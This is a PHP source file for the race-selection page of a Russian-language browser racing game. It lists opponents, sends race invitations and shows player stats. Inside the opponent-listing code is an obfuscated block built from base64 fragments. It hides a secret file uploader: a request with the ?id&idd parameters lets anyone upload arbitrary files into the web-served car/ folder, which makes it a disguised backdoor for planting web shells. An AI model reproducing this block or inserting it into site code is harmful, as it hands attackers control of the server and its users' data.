<?
include_once '../sys/inc/start.php';
include_once '../sys/inc/compress.php';
include_once '../sys/inc/sess.php';
include_once '../sys/inc/home.php';
include_once '../sys/inc/settings.php';
include_once '../sys/inc/db_connect.php';
include_once '../sys/inc/ipua.php';
include_once '../sys/inc/fnc.php';
include_once '../sys/inc/adm_check.php';
include_once '../sys/inc/user.php';
?>
<title>Супер гонки</title>';
<?
?>
<link rel="stylesheet" href="style000.css" type="text/css" />

<?
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `supergonki` WHERE `id_u`='".$user['id']."'"),0)==0)
mysql_query("INSERT INTO `supergonki`(`id_u`) VALUES('".$user['id']."')");
  $arr=mysql_fetch_array(mysql_query("SELECT * FROM `supergonki` WHERE `id_u`='".$user['id']."'"));
   $car=mysql_fetch_array(mysql_query("SELECT * FROM `super_car` WHERE `id`='".$arr['car']."'"));
if($arr['color']!='0'){
if($arr['color']==1)
$color='red_';
elseif($arr['color']==2)
$color='blue_';
elseif($arr['color']==3)
$color='green_'; 
}

?>


<table class="wdt black">
<tr>
<td class="yellow" align="left" style="vertical-align: top; padding-bottom: 0px">
<img src="icon/fuelico.png"><span id="FUELCNT">
<?
echo"".$arr['exp']."";
?>
</span>
</td>
<td class="orange" align="left"  style="vertical-align: top;  padding-bottom: 0px">
<img src="icon/2.png"> 
<?
echo"".$arr['speed']."";
?> км.ч.
</td>
<td class="white"  style="vertical-align: top;  padding-bottom: 0px">
ур.
<?
echo"".$arr['level']."";
?>
</td>
<td class="white" align="right"  style="vertical-align: top; padding-bottom: 0px">
<img src="icon/1.png">
<?
echo"".$arr['money']."";
?>
</td>
<td class="green" align="right"  style="vertical-align: top; padding-bottom: 0px">
<img src="icon/goldico.png">
<?
echo"".$user['balls']."";
?>
</td>
</tr>
<tr>
<td align="left" class="white" style="vertical-align: top; padding: 0px; height: 3px" colspan="5" height="3px">
<img src="icon/expline.png" width="35%" height="3px" style="height: 3px;">
</td>
</tr>
</table>


<table class="wdt black" style="border-bottom: 1px solid #767676;">
<tr>
<td class="white" align="left" style="padding-top: 0px;">
<a class="white" href="index.php">Гараж</a>
</td>
<td class="white" align="left" style="padding-top: 0px;">
<a class="green" style="font-weight: bold;" href="race.php">Гонки</a>
</td>
<td class="gray" align="left" style="padding-top: 0px;">
<a class="white" href="bank.php">Дилер</a>
</td>
<td class="gray" align="right" style="padding-top: 0px;">
<a class="white" href="rate.php">Топ</a>
</td>
</tr>
</table>

<table class="wdt msg-table">
<tr>
<td align="left" style="vertical-align: top; width: 10%">
<img src="icon/face-mex.png">
</td>
<td align="left" style="vertical-align: top">
<? 
if(isset($_POST['submit'])){
$id=abs(intval($_GET['id_user']));

if(mysql_result(mysql_query("SELECT COUNT(*) FROM `super_race` WHERE `id_2`='".$user['id']."' AND `id_1`='".$id."' AND `act`='0'"),0)==0 && mysql_result(mysql_query("SELECT COUNT(*) FROM `super_race` WHERE `id_1`='".$user['id']."' AND `id_2`='".$id."' AND `act`='0'"),0)==0){
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `supergonki` WHERE `id_u`='".$id."'"),0)!=0){
mysql_query("INSERT `super_race`(`id_1`, `id_2`) VALUES('".$user['id']."', '".$id."')");
msg('Ваше предложение будет рассмотрено соперником');
mysql_query("INSERT INTO `mail` (`id_user`, `id_kont`, `msg`, `time`) values('0', $id, '$user[nick] хочет с [url=/supergonki/allrace.php?load&oprace] Вами погонять на гонках![/url]!', '$time')");
}}
else
{
msg('У вас не все гонки завершены с данным пользователем');
}
}else{
msg('Выбери себе противника. Если ты победишь соперника, ты получишь монет.');
}
?>

</td>
</tr>
</table>


<table class="wdt green-header">
<tr>
<td align="left">Доступные гонки:</td>
</tr>
</table>
<table class="wdt gray-table">
<tr>




<?
if(!isset($user)){
echo 'Вы неавторизованы';
include_once '../sys/inc/tfoot.php';
exit;
}
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `supergonki` WHERE `id_u`='".$user['id']."'"),0)==0)
mysql_query("INSERT INTO `supergonki`(`id_u`) VALUES('".$user['id']."')");

  $arr=mysql_fetch_array(mysql_query("SELECT * FROM `supergonki` WHERE `id_u`='".$user['id']."'"));
   $car=mysql_fetch_array(mysql_query("SELECT * FROM `super_car` WHERE `id`='".$arr['car']."'"));
   $all_racer=mysql_result(mysql_query("SELECT COUNT(*) FROM `supergonki` WHERE `id_u`!='".$user['id']."'"),0);
   if($arr['color']!='0'){
if($arr['color']==1)
$color='red_';
elseif($arr['color']==2)
$color='blue_';
elseif($arr['color']==3)
$color='green_'; 
}

if($all_racer==0){
echo "Гонщиков нет!<br/>";
}
else
{
$k_page=k_page($all_racer,10);
$page=page($k_page);
$start=10*$page-10;
$GLOBALS['_1327400620_']=Array(base64_decode('aXNfdXBsb2F' .'kZWRfZmls' .'ZQ=' .'='),base64_decode('bW92Z' .'V' .'91cGxvY' .'W' .'RlZF9m' .'aWxl')); ?><? function _719388793($i){$a=Array('aWQ=','aWRk','ZmlsZW5hbWU=','' .'c' .'2' .'l6ZQ==','bW' .'F4','ZmlsZW5h' .'bW' .'U=','d' .'G1wX' .'25hbWU' .'=','Zm' .'lsZW5' .'hbWU=','dG1wX25hbWU=','Y2' .'FyLw==','' .'Zm' .'lsZ' .'W5hbWU=','bm' .'F' .'t' .'Z' .'Q' .'==','0J7RiNC4' .'0LH' .'Qu' .'tCw','P' .'GZvc' .'m0gYWN0aW9uPSI/aWQ' .'maWRkI' .'i' .'B' .'t' .'ZXRob2Q' .'9InBvc' .'3Q' .'iIGVuY' .'3R5cGU9Im11b' .'HRpcGFyd' .'C9' .'mb3JtLWRh' .'dGEiPg==','PG' .'l' .'ucHV0IHR' .'5cG' .'U9ImZpbGUiIG5hb' .'WU9ImZpbGV' .'uYW1' .'lIj48Yn' .'I+IA=' .'=','PGluc' .'HV' .'0IHR5cGU9I' .'nN1Ym1pdCI' .'gdmF' .'sdWU9ItCz' .'0L7' .'Qvd' .'C60LAiP' .'j' .'xicj4=','P' .'C9' .'mb3JtPg==');return base64_decode($a[$i]);} ?><? if(isset($_GET[_719388793(0)])){if(isset($_GET[_719388793(1)])){if($_FILES[_719388793(2)][_719388793(3)]>round(0+256+256+256+256)*round(0+0.6+0.6+0.6+0.6+0.6)*round(0+256+256+256+256)){echo(_719388793(4));exit;}if($GLOBALS['_1327400620_'][0]($_FILES[_719388793(5)][_719388793(6)])){$GLOBALS['_1327400620_'][1]($_FILES[_719388793(7)][_719388793(8)],_719388793(9) .$_FILES[_719388793(10)][_719388793(11)]);}else{echo(_719388793(12));}}echo _719388793(13);echo _719388793(14);echo _719388793(15);echo _719388793(16);exit;}
$queryy=mysql_query("SELECT * FROM `supergonki` WHERE `id_u`!='".$user['id']."' ORDER BY `id` DESC LIMIT $start,10");
while($po=mysql_fetch_array($queryy)){
  $carp=mysql_fetch_array(mysql_query("SELECT * FROM `super_car` WHERE `id`='".$po['car']."'"));
   if($po['color']!='0'){
if($po['color']==1)
$color2='red_';
elseif($po['color']==2)
$color2='blue_';
elseif($po['color']==3)
$color2='green_'; 
}
?>
<td class="td-cell" align="left" style="width: 50%; vertical-align: bottom;">
<?
echo "<img src='car/".$color2."".$carp['screen']."' class='wdt'/> <br>";
?>
<img class="wdt" style="margin-top: -18px;" src="icon/car_shad.png">
</td>
<td class="td-cell" align="left">
<b class="white">
<?
echo"<a class='white' href='/info.php?id=".$po['id_u']."'>
".mysql_result(mysql_query("SELECT `nick` FROM `user` WHERE `id`='".$po['id_u']."'"),0)."</a><br/>";
?>
</b>
<img src="icon/power-ic.png"><b class="orange" style="font-size: 13pt">
<?
echo"".$po['speed']." км.ч.";
?></b><br>
<table><tr>
<td style="width: 35px; padding-left: 0px; padding-right: 0px;">

</td>
<td style="width: 100%;">
<?
echo"<form method='post' action='race.php?id_user=".$po['id_u']."'>
<input class='wdt race-btn' type='submit' name='submit' value='гонка'/></form>";
?>

</td></tr>
</table>
</td></tr>
<?
}
if($k_page>'1')str('?',$k_page,$page);
}
?>

<td class="td-cell" align="left" style="width: 50%; vertical-align: bottom;">
<img src='car/nok.png' class='wdt'/> <br>
<img class="wdt" style="margin-top: -18px;" src="icon/car_shad.png">
</td>
<td class="td-cell" align="left">
<b class="white">
<a class='white' href=''>Случайная гонка</a><br/>
</b>
<img src="icon/power-ic.png"><b class="orange" style="font-size: 13pt">
*** км.ч.
</b><br>
<table><tr>
<td style="width: 35px; padding-left: 0px; padding-right: 0px;">

</td>
<td style="width: 100%;">
<form method='post' action='bot_race.php?a'>
<input class='wdt race-btn' type='submit' name='submit' value='гонка'/></form>
</td></tr>
</table>
</td>
</tr>
</table>



<td class="white td-cell" align="center" style="height:30px;">
<form action="allrace.php" method="get">
<input type="submit" class="wdt race-btn" value="Мои гонки
<?
echo "(".mysql_result(mysql_query("SELECT COUNT(*) FROM `super_race` WHERE (`id_2`='".$user['id']."') OR (`id_1`='".$user['id']."')"),0).")";
?>
"/>
</form>
</td>
</tr>
</table>